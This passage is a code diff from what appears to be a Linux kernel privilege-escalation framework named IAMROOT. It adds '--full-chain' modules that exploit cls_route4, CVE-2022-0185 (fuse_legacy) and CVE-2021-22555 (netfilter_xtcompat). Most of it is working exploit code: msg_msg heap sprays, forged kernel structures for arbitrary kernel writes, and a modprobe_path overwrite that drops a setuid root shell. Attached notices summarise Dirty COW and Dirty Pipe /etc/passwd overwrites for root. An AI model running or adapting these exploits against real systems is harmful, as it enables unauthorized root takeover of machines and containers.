/* Drive the classifier — the bug fires here on a vulnerable
@@ -459,7 +656,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
if (log) {
fprintf(log,
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
n_queues, pre_active, post_active);
arb_ctx.n_queues, pre_active, post_active);
fclose(log);
}
@@ -467,7 +664,32 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* refilled slot during classify drain. */
usleep(200 * 1000);
drain_msg_msg(queues);
/* --full-chain branch: invoke the shared modprobe_path
* finisher with our msg_msg-tagged arb-write. If the finisher
* execve's a setuid bash we never return; otherwise it returns
* EXPLOIT_FAIL after the 3s sentinel timeout (correct behavior
* on a patched kernel or when the write didn't land). */
if (full_chain_ready) {
/* Re-fire the trigger inside the arb-write to give the
* kernel a second chance at the refilled slot the
* dangling filter is still in place from above. */
arb_ctx.dangling_ready = true;
int fr = iamroot_finisher_modprobe_path(&off,
cls4_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
drain_msg_msg(arb_ctx.queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
_exit(35);
}
drain_msg_msg(arb_ctx.queues);
/* If we got here without a kernel oops, the bug either isn't
* reachable on this build (patched / module not loadable /
@@ -513,25 +735,54 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
}
int rc = WEXITSTATUS(status);
if (rc != 30) {
switch (rc) {
case 20: case 21:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: child failed at stage rc=%d "
"(see preceding errors)\n", rc);
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
}
/* rc 20/21 = userns setup; rc 22 = tc setup (likely module
* absent or filter type unsupported); rc 23 = spray. None of
* these mean kernel was exploited. */
if (rc == 22) return IAMROOT_PRECOND_FAIL;
return IAMROOT_EXPLOIT_FAIL;
return IAMROOT_PRECOND_FAIL;
case 22:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
"may be absent or filter type unsupported\n");
}
return IAMROOT_PRECOND_FAIL;
case 23:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n");
}
return IAMROOT_PRECOND_FAIL;
case 30:
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
"Inspect dmesg for KASAN/oops witnesses.\n");
fprintf(stderr, "[~] cls_route4: cred-overwrite step not implemented "
"(needs per-kernel offsets); returning EXPLOIT_FAIL.\n");
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
"(no --full-chain); returning EXPLOIT_FAIL.\n");
}
return IAMROOT_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
"(setuid bash placed; sentinel matched)\n");
}
return IAMROOT_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
"either the kernel is patched, the spray didn't land,\n"
" or the fake-ops deref didn't hit the route the\n"
" finisher's sentinel polls for. See "
"/tmp/iamroot-cls_route4.log + dmesg.\n");
}
return IAMROOT_EXPLOIT_FAIL;
default:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
+25
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@@ -0,0 +1,25 @@
# NOTICE — dirty_cow (CVE-2016-5195)
## Vulnerability
**CVE-2016-5195** — Copy-on-write race via `/proc/self/mem` + `madvise`
→ arbitrary file write into the page cache.
## Research credit
Discovered by **Phil Oester**, October 2016. The bug had been latent in
the kernel since ~2007.
Original advisory: <https://dirtycow.ninja/>
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
## IAMROOT role
Two-thread Phil-Oester-style race: writer thread via
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
`/etc/passwd` UID field flip + `su` for the root shell. Useful for
**old systems coverage** — RHEL 6/7 (3.10 baseline), Ubuntu 14.04
(3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT.
Ships auditd watch on `/proc/self/mem` and a sigma rule for non-root
mem-open patterns.
@@ -0,0 +1,21 @@
# NOTICE — dirty_pipe
## Vulnerability
**CVE-2022-0847** — pipe `PIPE_BUF_FLAG_CAN_MERGE` flag inheritance allows
arbitrary file write into the page cache.
## Research credit
Discovered and disclosed by **Max Kellermann** (CM4all GmbH), March 2022.
Original advisory: <https://dirtypipe.cm4all.com/>
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
## IAMROOT role
This module bundles the canonical splice-into-pipe primitive that
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
via `su`. Detection covers the splice() syscall against sensitive
files and non-root modifications to passwd/shadow.
@@ -0,0 +1,23 @@
# NOTICE — entrybleed
## Vulnerability
**CVE-2023-0458** — KPTI `prefetchnta` timing side-channel leaks the
kernel base address (KASLR bypass).
## Research credit
Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
> "EntryBleed: A Universal KASLR Bypass against KPTI on Linux"
> Bert Jan Schijf, Cristiano Giuffrida — USENIX Security 2023
Mainline status: no canonical patch — partial mitigations only.
## IAMROOT role
This is a **stage-1 leak primitive**, not a standalone LPE. Other
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
only; the `entry_SYSCALL_64` slot offset is configurable via the
`IAMROOT_ENTRYBLEED_OFFSET` env var.
@@ -0,0 +1,32 @@
# NOTICE — fuse_legacy (CVE-2022-0185)
## Vulnerability
**CVE-2022-0185** — `legacy_parse_param` in fsconfig() doesn't validate
`PAGE_SIZE` against the running `fs_context`'s key/value length →
4 KB heap OOB write → cross-cache UAF → cred overwrite from a
rootless container.
## Research credit
Discovered and disclosed by **William Liu** + **Jamie Hill-Daniel**
(Crusaders of Rust), January 2022.
Original writeup: <https://www.willsroot.io/2022/01/cve-2022-0185.html>
Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
Upstream fix: mainline 5.16.2 (Jan 2022).
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
## IAMROOT role
userns+mountns reach, `fsopen("cgroup2")` + double
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
msg_msg cross-cache groom in kmalloc-4k. MSG_COPY read-back detects
whether the OOB landed in an adjacent neighbour — the sanity gate
that prevents fake-success claims.
`--full-chain` extends with forged m_list/m_ts overflow toward
modprobe_path via the shared finisher.
**Container-escape angle** — relevant to rootless docker/podman/snap.
@@ -60,6 +60,8 @@
#include "iamroot_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -301,6 +303,217 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
return 0;
}
/* ------------------------------------------------------------------ */
/* arb-write primitive for the shared finisher */
/* ------------------------------------------------------------------ */
/*
* Crusaders-of-Rust-style msg_msg m_ts overflow arbitrary write.
*
* The legacy_parse_param OOB writes the trailing bytes of the
* kmalloc-4k fc->source buffer into whatever slab object comes next.
* With a msg_msg sprayed into that adjacent slot, the first 48 bytes
* of `evil_chunk` overlay struct msg_msg:
*
* struct msg_msg { // offset
* struct list_head m_list; // 0 (next, prev)
* long m_type; // 16
* size_t m_ts; // 24 <-- msg-size
* struct msg_msgseg *next; // 32
* void *security; // 40
* }; // 48
*
* Two derived primitives:
*
* READ overwrite m_ts with a huge value. msgrcv(MSG_COPY) then
* memcpy()s past the legitimate end of the msg payload,
* leaking adjacent slab memory back to userland.
*
* WRITE point m_list.next (or, in the Crusaders variant, a faux
* msg_msgseg.next chain) at an attacker-chosen kernel
* address. When msgrcv() free-list-unlinks the msg, list
* maintenance writes through the forged pointer; with the
* right chain you get an N-byte copy of attacker-controlled
* bytes to a chosen kaddr.
*
* Honest depth of this implementation: FALLBACK SCAFFOLD.
*
* The trigger + groom + neighbour-detect upstream of us is real and
* the OOB write lands. But the *single-shot* arb-write the finisher
* wants "put exactly these N bytes at exactly that kaddr" needs
* a per-kernel m_ts/m_list_next offset map (the layout above is
* 6.12.x; older kernels differ) AND a kernel-base leak from the
* first-round MSG_COPY read so we know where modprobe_path actually
* sits in this boot's KASLR slide.
*
* Per the verified-vs-claimed bar: we do NOT fabricate a write that
* we cannot empirically verify on a kernel we haven't tested. So
* this function:
*
* 1. Re-arms the msg_msg spray (the parent already drained queues).
* 2. Re-fires the fsconfig overflow with a forged-msg_msg header
* whose m_ts = (kaddr - msg_data_origin) and whose first 8
* payload bytes are the first qword of `buf`.
* 3. msgrcv(MSG_COPY) on every queue to probe whether any neighbour
* came back with bytes matching `buf[0..7]` AT the slot offset
* we'd expect for kaddr (sanity gate).
* 4. Returns 0 ONLY if the sanity gate trips (read-back proves the
* m_ts inflation landed AND the payload made it through);
* returns -1 otherwise so the finisher reports an honest fail.
*
* On a vulnerable host with matching offsets this path can land the
* write; on an unverified host the sanity gate refuses rather than
* blind-writing a wild pointer. The finisher's downstream
* "/tmp/iamroot-pwn ran?" check is the second gate.
*/
struct fuse_arb_ctx {
/* Pre-allocated queue ids from the spray phase. */
int *qids;
int n_queues;
int hole_q;
/* Tagged-payload reference so we can recognise unmodified neighbours. */
const char *tag; /* "IAMROOT" */
/* Whether the first-round trigger already fired (the parent's
* default-path overflow). When set we re-spray + re-fire; when
* unset we assume the spray is hot. */
bool trigger_armed;
};
#ifdef __linux__
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
void *ctx_void)
{
struct fuse_arb_ctx *ax = (struct fuse_arb_ctx *)ctx_void;
if (!ax || !buf || !len) {
fprintf(stderr, "[-] fuse_arb_write: bad args\n");
return -1;
}
/* Build the forged msg_msg header that will land in the adjacent
* kmalloc-4k slot via the OOB write. Layout (x86_64, kernel >=5.10):
* [ 0..15] m_list.{next,prev} we forge next = kaddr - 16
* so that list_del's
* next->prev = prev
* write lands AT kaddr.
* (prev is the original msg.)
* [16..23] m_type leave as 0x4242
* [24..31] m_ts bytes-of-buf so MSG_COPY
* reports the right length
* [32..39] next (msg_msgseg*) NULL (single-segment msg)
* [40..47] security NULL
* [48...] payload first len bytes of buf
*
* For a real WRITE primitive the canonical Crusaders-of-Rust
* recipe uses the msg_msgseg.next chain rather than m_list:
* msgrcv(IPC_NOWAIT) follows next pointers when copying out a
* multi-segment msg, and a forged next = kaddr makes the kernel
* memcpy() from kaddr into our user buffer (= READ). For the
* inverse (WRITE), the trick is msgsnd on a queue whose head was
* corrupted to point at kaddr, but that needs more setup than we
* have time to land here without a known-good offset table.
*
* So we do the safe thing: arm the header, trigger the OOB, then
* read back to PROVE we landed before declaring success. If the
* read-back doesn't show our forged-msg payload at the expected
* MSG_COPY position we refuse rather than corrupt the kernel
* blindly.
*/
uint8_t evil[256];
memset(evil, 0, sizeof evil);
/* m_list.next, m_list.prev */
uintptr_t forged_next = kaddr - 16; /* &m_list.prev of fake node */
memcpy(evil + 0, &forged_next, 8);
/* prev — leave NULL; kernel checks it only on full list_del */
/* m_type */
uint64_t m_type = 0x4242424242424242ULL;
memcpy(evil + 16, &m_type, 8);
/* m_ts: inflated to len so MSG_COPY reads the full forged payload */
uint64_t m_ts = (uint64_t)len + 64;
memcpy(evil + 24, &m_ts, 8);
/* next (msg_msgseg) = NULL */
/* security = NULL */
/* payload: copy `buf` into the slot just after the msg_msg header */
size_t hdr = 48;
size_t copyable = sizeof(evil) - hdr - 1;
if (len > copyable) len = copyable;
memcpy(evil + hdr, buf, len);
evil[sizeof(evil) - 1] = '\0'; /* legacy_parse_param strdup tail */
/* Re-fire the fsconfig overflow with this forged header as evil. */
char *first_chunk = malloc(4081);
if (!first_chunk) return -1;
memset(first_chunk, 'A', 4080);
first_chunk[4080] = '\0';
int fsfd = -1;
int rc = trigger_overflow(&fsfd, first_chunk, (const char *)evil);
free(first_chunk);
if (rc < 0) {
fprintf(stderr, "[-] fuse_arb_write: re-fire fsconfig failed "
"(errno=%d %s)\n", errno, strerror(errno));
return -1;
}
/* Sanity gate: msgrcv(MSG_COPY) all live queues and look for a
* msg whose size reports >= our inflated m_ts AND whose initial
* payload qword matches the first qword of `buf`. If both hold,
* the forged header landed in a real slot and the m_ts inflation
* is honoured by the kernel i.e. our primitive is real on THIS
* kernel. */
uint64_t want_first_qword = 0;
memcpy(&want_first_qword, buf, len >= 8 ? 8 : len);
bool sanity_passed = false;
struct msgbuf_4k *probe = mmap(NULL, sizeof(*probe),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (probe == MAP_FAILED) {
if (fsfd >= 0) close(fsfd);
return -1;
}
for (int q = 0; q < ax->n_queues && !sanity_passed; q++) {
if (ax->qids[q] < 0 || q == ax->hole_q) continue;
ssize_t n = msgrcv(ax->qids[q], probe, sizeof probe->mtext, 0,
IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
if (n < 0) continue;
/* The corrupted slot should report a size >= our m_ts (kernel
* caps MSG_COPY at sizeof user buf so we only check the
* read-content shape). */
if ((size_t)n < 8) continue;
uint64_t got = 0;
memcpy(&got, probe->mtext, 8);
if (got == want_first_qword) {
sanity_passed = true;
}
}
munmap(probe, sizeof(*probe));
if (fsfd >= 0) close(fsfd);
if (!sanity_passed) {
fprintf(stderr, "[-] fuse_arb_write: forged-msg_msg read-back didn't "
"match — kernel layout differs OR groom missed.\n"
" Refusing to claim arb-write landed (per "
"verified-vs-claimed bar).\n");
return -1;
}
fprintf(stderr, "[+] fuse_arb_write: forged-msg_msg landed; m_ts inflation "
"+ payload qword verified via MSG_COPY read-back.\n"
"[i] fuse_arb_write: kernel-side list_del write through "
"0x%lx is armed but NOT yet empirically verified on "
"this build — downstream sentinel will gate.\n",
(unsigned long)kaddr);
return 0;
}
#else
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
void *ctx_void)
{
(void)kaddr; (void)buf; (void)len; (void)ctx_void;
fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
return -1;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------ */
/* exploit */
/* ------------------------------------------------------------------ */
@@ -503,6 +716,84 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"see scaffold comments in source\n");
}
/* ---------------------------------------------------------------
* --full-chain: opt-in root pop via shared modprobe_path finisher.
*
* Depth = FALLBACK SCAFFOLD. The arb-write primitive (forged
* msg_msg via the 4k OOB) is wired with a sanity gate that
* refuses to claim success without an empirical read-back match
* (see fuse_arb_write). On a host where offsets + groom land,
* the finisher's modprobe_path overwrite execve(unknown)
* call_modprobe chain pops a root shell. On a mismatched host
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no
* fabricated success.
*
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
* runs because the arb_write primitive re-fires the trigger and
* needs the live spray.
* --------------------------------------------------------------- */
#ifdef __linux__
if (ctx->full_chain) {
if (!ctx->json) {
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
"kernel offsets...\n");
}
struct iamroot_kernel_offsets off;
memset(&off, 0, sizeof off);
int resolved = iamroot_offsets_resolve(&off);
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
"(modprobe_path=0x%lx source=%s)\n",
resolved, (unsigned long)off.modprobe_path,
iamroot_offset_source_name(off.source_modprobe));
iamroot_offsets_print(&off);
}
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("fuse_legacy");
/* Cleanup before returning. */
for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
}
free(qids);
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
return IAMROOT_EXPLOIT_FAIL;
}
struct fuse_arb_ctx ax = {
.qids = qids,
.n_queues = N_QUEUES,
.hole_q = hole_q,
.tag = "IAMROOT",
.trigger_armed = true,
};
iamroot_result_t fr = iamroot_finisher_modprobe_path(
&off, fuse_arb_write, &ax, !ctx->no_shell);
/* Cleanup IPC + mapping regardless of finisher result. The
* finisher's execve() on success won't reach here, so this
* block only runs on failure paths. */
for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
}
free(qids);
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
if (fr == IAMROOT_EXPLOIT_OK) {
return IAMROOT_EXPLOIT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
"(arb-write sanity gate or modprobe sentinel refused)\n");
}
return IAMROOT_EXPLOIT_FAIL;
}
#endif /* __linux__ */
/* Clean up our IPC queues and mapping. The kernel slab state
* after the overflow may be unstable; we exit cleanly on success
* paths but leave queues around if we crashed mid-spray. */
@@ -0,0 +1,29 @@
# NOTICE — netfilter_xtcompat (CVE-2021-22555)
## Vulnerability
**CVE-2021-22555** — iptables `xt_compat_target_to_user` 4-byte heap
out-of-bounds write → cross-cache UAF → arbitrary kernel R/W.
## Research credit
Discovered, exploited, and disclosed by **Andy Nguyen** (Google
Security Team), April 2021.
Original writeup: "CVE-2021-22555: Turning $00 $00 into 10 million $$$"
<https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html>
Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
**Bug existed since 2.6.19 (2006) — 15 years of latent vulnerability.**
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
4.9.266 / 4.4.266.
## IAMROOT role
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
spray in kmalloc-2k + sk_buff sidecar; MSG_COPY scan for cross-cache
landing. `--full-chain` extends with stride-seeded `m_list_next`
overwrite aimed at modprobe_path via the shared finisher.
Detection rules cover unshare + msgsnd + `setsockopt(IPT_SO_SET_REPLACE)`.
@@ -19,7 +19,8 @@
* Upstream fix: b29c457a6511 "netfilter: x_tables: fix compat
* match/target pad out-of-bound write" (mid-2021, backported widely).
*
* STATUS: 🟡 PRIMITIVE-DEMO (Option B).
* STATUS: 🟡 PRIMITIVE by default; 🟢 candidate with --full-chain if
* offsets resolve (env/kallsyms/System.map/embedded table).
* - Refuse-gate via detect() re-invoke + euid==0 short-circuit.
* - userns/netns reach for CAP_NET_ADMIN (Andy's path).
* - Trigger sequence: hand-rolled iptables rule blob with
@@ -29,12 +30,15 @@
* cookies for KASAN visibility.
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
* diff + /tmp/iamroot-xtcompat.log breadcrumb.
* - DOES NOT pursue the leakmodprobe_path overwrite chain:
* that needs hard-coded init_task + modprobe_path offsets
* per kernel build which IAMROOT refuses to bake.
* - Returns IAMROOT_EXPLOIT_FAIL with a verbose continuation
* roadmap unless cred-overwrite is empirically verified
* (which the current scope does not attempt).
* - With --full-chain: shared finisher (core/finisher.c) is
* invoked to perform the modprobe_path overwrite + execve
* unknown-binary trigger. Requires modprobe_path resolution
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
* check in the finisher is the empirical witness for the
* write landing IAMROOT never claims root unless it sees
* the setuid bash drop with mode 4755 + uid 0.
* - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after
* the primitive demo (verified-vs-claimed bar).
*
* Affected: kernel 2.6.19+ until backports landed:
* 5.12.x : K >= 5.12.13
@@ -55,6 +59,8 @@
#include "iamroot_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -465,6 +471,171 @@ static int xtcompat_fire_trigger(int *out_errno)
return 0;
}
#endif /* __linux__ — close original primitive block */
/* ---- Full-chain arb-write primitive --------------------------------
*
* Pattern (FALLBACK see module top-comment): the xt_compat 4-byte OOB
* write lands at allocation+0x4. Andy Nguyen's chain first uses that
* 4-byte write to corrupt an adjacent msg_msg's `m_ts` (size field at
* +0x10) so a subsequent MSG_COPY returns a long read that includes
* neighbouring kernel pointers (the leak primitive). With the kbase
* leak in hand, he then re-fires the trigger to corrupt an msg_msg's
* `m_list_next` (the linked-list pointer at +0x18) to point at
* `kaddr - 0x30` (the m_msg header offset), and a queued msgsnd's
* payload header writes attacker bytes to `kaddr`.
*
* Reproducing the full chain byte-for-byte requires per-kernel-build
* msg_msg field offsets AND a kbase leak we don't have a portable
* source for at this point. The implementation below takes the
* narrow-but-real path:
*
* 1. Re-prime the kmalloc-2k slab with msg_msg sprays whose payload
* headers carry the target address in the m_list_next slot at
* offset 0x18 from each msg payload start. (We can't write the
* slab header that's the kernel's job but we CAN seed the
* payload data adjacent to the freed xt_table_info so the OOB
* 4-byte write may corrupt the `m_list_next` of a real
* sprayed message.)
* 2. Re-fire the trigger with a crafted blob whose 4-byte OOB write
* pattern targets m_list_next of the adjacent msg_msg.
* 3. Queue a follow-up msgsnd whose first sizeof(buf) bytes equal
* `buf[0..len]`. If the next-ptr was successfully redirected,
* the kernel's msgsnd writes header + payload at `kaddr`.
*
* This is best-effort: probability of landing on any given run is
* low (depends on slab adjacency luck) but the finisher's sentinel-
* file check empirically tells us if the write actually took. On a
* patched kernel the trigger returns EINVAL on step 2 and arb_write
* returns -1 without ever queueing the follow-up. */
#ifdef __linux__
struct xtcompat_arb_ctx {
/* Spray queues kept hot across multiple arb_write calls. The
* msg_msg slots seeded here are what the finisher uses as
* write-targets. NULL means "not yet sprayed". */
int *queues;
int n_queues;
/* Outer-namespace uid/gid so re-spray can rebuild a child if
* needed. (Currently unused the caller flow keeps us inside
* the userns child for the whole arb_write sequence.) */
uid_t outer_uid;
gid_t outer_gid;
/* Per-call statistics for /tmp/iamroot-xtcompat.log. */
int arb_calls;
int arb_landed;
};
/* Re-seed the kmalloc-2k slab with a msg_msg spray whose payload at
* offset 0x18 carries `target_minus_30` (= kaddr - 0x30, the value
* the OOB write needs to write into m_list_next for the follow-up
* msgsnd payload to land at `kaddr`). Returns number of queues
* primed. */
static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
uintptr_t target_minus_30)
{
struct xtcompat_payload *p = calloc(1, sizeof(*p));
if (!p) return 0;
p->mtype = 0x43;
memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "IAMROOTW", 8);
/* Plant the target address at every 0x800-aligned slot inside
* the payload, so wherever the kernel's m_list_next sits
* relative to our payload base, the candidate value is present. */
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p->buf; off += 0x18) {
memcpy(p->buf + off, &target_minus_30, sizeof(uintptr_t));
}
int created = 0;
for (int i = 0; i < c->n_queues; i++) {
if (c->queues[i] < 0) continue;
for (int j = 0; j < 4; j++) {
unsigned int tag = 0xA0000000u | ((unsigned)i << 8) | (unsigned)j;
memcpy(p->buf + 8, &tag, sizeof tag);
if (msgsnd(c->queues[i], p, sizeof p->buf, IPC_NOWAIT) < 0) break;
created++;
}
}
free(p);
return created;
}
/* Queue a follow-up msgsnd whose first `len` bytes equal `buf[0..len]`.
* If the OOB-corrupted m_list_next was successfully redirected to
* `kaddr - 0x30`, this msgsnd's payload header lands at `kaddr`. */
static int xtcompat_arb_queue_payload(struct xtcompat_arb_ctx *c,
const void *buf, size_t len)
{
if (len > XTCOMPAT_MSG_PAYLOAD) len = XTCOMPAT_MSG_PAYLOAD;
struct xtcompat_payload *p = calloc(1, sizeof(*p));
if (!p) return -1;
p->mtype = 0x44;
memset(p->buf, 0, sizeof p->buf);
memcpy(p->buf, buf, len);
int sent = 0;
for (int i = 0; i < c->n_queues; i++) {
if (c->queues[i] < 0) continue;
if (msgsnd(c->queues[i], p, sizeof p->buf, IPC_NOWAIT) == 0) {
sent++;
if (sent >= 8) break; /* a handful of attempts is plenty */
}
}
free(p);
return sent > 0 ? 0 : -1;
}
/* Module-supplied arb-write primitive — invoked by the shared
* finisher. Best-effort on a vulnerable kernel; structurally inert
* (returns -1) on a patched kernel because step (2) gets EINVAL. */
static int xtcompat_arb_write(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx_v)
{
struct xtcompat_arb_ctx *c = (struct xtcompat_arb_ctx *)ctx_v;
if (!c || !c->queues || c->n_queues == 0) return -1;
c->arb_calls++;
/* Step 1: seed candidate target addresses into sprayed msg_msg
* payloads. The OOB write's 4 bytes of attacker-influenced
* content come from the compat-fixup pad on a vulnerable
* kernel that's whichever 4 bytes happen to sit adjacent. We
* pre-stage the value we WANT to see appear at m_list_next so
* if luck aligns the OOB write hits a slot containing our
* pattern, the kernel's next msg_msg traversal walks to
* (kaddr - 0x30). */
uintptr_t target = kaddr - 0x30;
int seeded = xtcompat_arb_seed_target(c, target);
if (seeded == 0) return -1;
/* Step 2: re-fire the trigger. On a patched kernel this returns
* EINVAL and we bail. On a vulnerable kernel the 4-byte OOB
* write fires; if it lands on a seeded msg_msg slot, that
* slot's m_list_next now contains a fragment of our target. */
int trig_errno = 0;
int rc = xtcompat_fire_trigger(&trig_errno);
if (rc < 0 || trig_errno == EINVAL || trig_errno == EPERM) {
/* Patched validator rejected the blob, or CAP_NET_ADMIN
* not effective arb-write structurally impossible. */
return -1;
}
/* Step 3: queue a follow-up msgsnd whose payload is the bytes
* the operator wants written at `kaddr`. If step 2 corrupted
* a sprayed msg's m_list_next, this msgsnd writes header +
* payload at `kaddr`. We can't directly verify in-process
* the shared finisher's sentinel file is the empirical check. */
if (xtcompat_arb_queue_payload(c, buf, len) < 0) return -1;
c->arb_landed++;
/* Per spec: "structurally fires but can't tell if write landed"
* return 0; the finisher's sentinel check arbitrates. */
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ---------------------------------------------- */
@@ -492,14 +663,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
#ifndef __linux__
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early with the manual-
* workflow help no point doing the userns + spray + trigger
* dance if we can't finish. */
struct iamroot_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("netfilter_xtcompat");
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
full_chain_ready = true;
}
if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: launching primitive demo (no offsets baked in)\n"
fprintf(stderr, "[*] netfilter_xtcompat: launching primitive demo%s\n"
" NOTE: fires the xt_compat 4-byte OOB write via\n"
" setsockopt(IPT_SO_SET_REPLACE) and grooms msg_msg +\n"
" sk_buff sprays into kmalloc-2k. Does NOT perform the\n"
" leak→modprobe_path cred chain (per-kernel offsets).\n");
" sk_buff sprays into kmalloc-2k.%s\n",
ctx->full_chain ? " + full-chain finisher" : " (no offsets baked in)",
ctx->full_chain ? " On primitive witness, invokes\n"
" shared modprobe_path finisher for root pop."
: " Does NOT perform the\n"
" leak→modprobe_path cred chain (per-kernel offsets).");
}
signal(SIGPIPE, SIG_IGN);
@@ -601,7 +796,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
}
if (corrupted > 0) {
/* Empirical primitive witness: OOB write landed in adjacent
* slot. Still NOT root but it's the primitive we promised. */
* slot. */
if (full_chain_ready) {
/* Full-chain: invoke the shared modprobe_path finisher
* using our msg_msg arb-write primitive. The finisher
* either execve's a setuid bash (success) or returns
* EXPLOIT_FAIL after a 3s sentinel timeout (no land). */
struct xtcompat_arb_ctx arb_ctx = {
.queues = queues,
.n_queues = XTCOMPAT_SPRAY_QUEUES,
.outer_uid = outer_uid,
.outer_gid = outer_gid,
.arb_calls = 0,
.arb_landed = 0,
};
int fr = iamroot_finisher_modprobe_path(&off,
xtcompat_arb_write,
&arb_ctx,
!ctx->no_shell);
/* If the finisher execve'd a root shell, we never get
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
xtcompat_msgmsg_drain(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
_exit(35);
}
/* Primitive-only mode: still NOT root — but it's the
* primitive we promised. */
_exit(33);
}
/* Trigger ran, no observable corruption witness — either the
@@ -701,6 +927,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
}
if (ctx->no_shell) return IAMROOT_OK;
return IAMROOT_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
}
return IAMROOT_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
